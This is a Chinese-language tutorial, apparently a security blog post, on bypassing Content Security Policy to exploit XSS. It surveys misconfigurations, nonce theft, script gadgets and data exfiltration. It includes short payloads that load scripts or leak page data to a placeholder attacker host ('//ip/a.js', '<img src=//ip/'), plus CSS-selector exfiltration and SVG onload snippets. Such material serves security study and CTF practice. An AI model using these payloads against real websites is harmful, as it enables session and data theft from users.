简介
内容安全策略,https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP,提供xss攻击的保护
服务器返回的http中带着 Content-Security-Policy
HTTP头部 ,或者html页面中带着
1 | <meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';"> |
csp策略主要指定跨域内嵌资源如script,img的访问策略
其中iframe的策略也可以由x-frame-options头指定
绕过方法
可以使用CSP Evaluator进行检测
我们一般关注script的设置
配置不严格导致绕过
有可利用的302跳转
如果csp策略为
Content-Security-Policy: default-src ‘self’;script-src http://127.0.0.1/a/ ;
如果a目录下有一个302跳转,则可以加载src同域名的其他目录的脚本,这个是一个很奇怪的特性
比如csp策略是这样的,q目录下有一个任意302跳转
1 | header("Content-Security-Policy: default-src 'self';script-src http://www.baidu.com/c/ http://127.0.0.1:7000/q/; ");?> |
unsafe-inline
如果有script开启了unsafe-inline,那就可以直接行内执行js
object-src
如果object-src限制不严格,可以利用pdf执行javascript,但是这个有限制,不能弹cookie
1 | <embed width="100%" height="100%" src="//ip/evil.pdf"></embed> |
生成恶意的pdf文件https://blog.csdn.net/microzone/article/details/52850623
绕过csp设置
csp策略是基于单个html页面的,策略来自http头或者meta标签,而同源页面之间是可以相互操控dom的,这个不受csp的限制
利用同源页面
如果有A,B两个同源页面,A配置了csp,B没有配置,则可以利用没有配置的B,xss漏洞操控A的dom进行攻击
如果Web构建为nginx+Django,csp策略的配置来自Django的中间件,则nginx直接返回的静态文件,就没有csp配置的
实际情况可能更加复杂,比如有一个受限的xss点,没有(),并且有csp限制,则可以写入a标签,然后利用`执行打开新的没有csp的同源窗口,在向dom写入script ,绕过xss执行的受限
利用其他漏洞改掉配置信息
csp的配置来自http请求头,如果网站有CRLF注入,则可以把csp挤入请求体,让csp直接无效
参考
https://github.com/Lou00/HCTF2018_Bottle
script-src的几个绕过姿势
script-src nonce
如果script-src 配置了nonce
利用base-url
如果csp策略为
1 | default-src 'self'; script-src 'nonce-test |
没有特意配置base-uri为none,并且可控输入点之下有,script标签,例如场景如下
1 | <html> |
则可以通过指定base为自己的服务器,并且 在根目录a.js写入恶意payload,进行攻击
不完整的script
1 | <html> |
如果一个输出点,恰好在用于nonce的前方,
则可以输入进入绕过
1 | <script src=//ip/a.js a= |
因为输入缺失>,所以浏览器会向后,找到第一个>并且把中间的字符作为a的属性值,这样攻击者插入的script就拥有了一个nonce,从而被加载执行.
1 | <script src=//ip/a.js a= |
静态的dom xss
如果被攻击的站点存在一个纯静态的dom xss,也可以被攻击
参考
http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html
中文版:https://paper.seebug.org/166/
三个静态dom的例子:
- 持久型 DOM XSS,当攻击者可以强制将页面跳转至易受攻击的页面,并且 payload 不包括在缓存的响应中(需要提取)。
- 包含第三方 HTML 代码的 DOM XSS 漏洞(例如,fetch(location.pathName).then(r=>r.text()).then(t=>body.innerHTML=t);)
- XSS payload 存在于
location.hash
中的 DOM XSS 漏洞(例如https://victim/xss#!foo?payload=
)
如果目标站点存在纯静态的dom xss,并且目标网站开启了缓存,
因为location.hash的改变,并不会让浏览器更新缓存,可以通过dom xss,先利用css选择器窃取nonce数据,然后插入带有nonce的script标签,造成js代码执行.
1 | *[attribute^="a"]{background:url("record?match=a")} |
script-src:self
host JSONP
如果script允许的源存在jsonp,直接引入,导致js执行
user uploaded files.
上传文件,上传后恶意js后,加载同样可以绕过
也可以上传svg可以直接在里面插入script执行
1 | <svg xmlns="http://www.w3.org/2000/svg" onload="alert(URL)"/> |
,同样的还有HITCON 2020的一个trick ,在apache下上传var文件
1 | Content-language: en |
利用script gadgets
参照谷歌2017 Blackhat的议题,利用一些框架的特殊标签,直接执行代码,
利用条件一般为页面引入了这些js框架,或者设置了一下cdn为可信源,攻击者通过cdn引入这些框架,如https://paper.seebug.org/855/中的,配置了cdnjs.cloudflare.com为可信源,利用cdn引入angular,直接执行
1 | <script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js> |
这里是可利用的框架列表
https://github.com/google/security-research-pocs/blob/master/script-gadgets/bypasses.md
数据带外的方法
利用location跳转数据带外
windwo.open可以直接数据带外
利用link标签带外
这个比较老了,比较新版的浏览器已经不可以了
数据窃取的姿势
利用css
利用css选择器匹配属性,如果匹配到了会发送请求,多次匹配然后窃取数据
1 | *[attribute^="a"]{background:url("record?match=a")} |
利用不完全的标签
如果csp配置了
1 | header("Content-Security-Policy: default-src 'self';script-src 'self'; img-src *; |
imgsrc为*
1 | <?php |
则可以通过插入<img src=//ip/
而窃取数据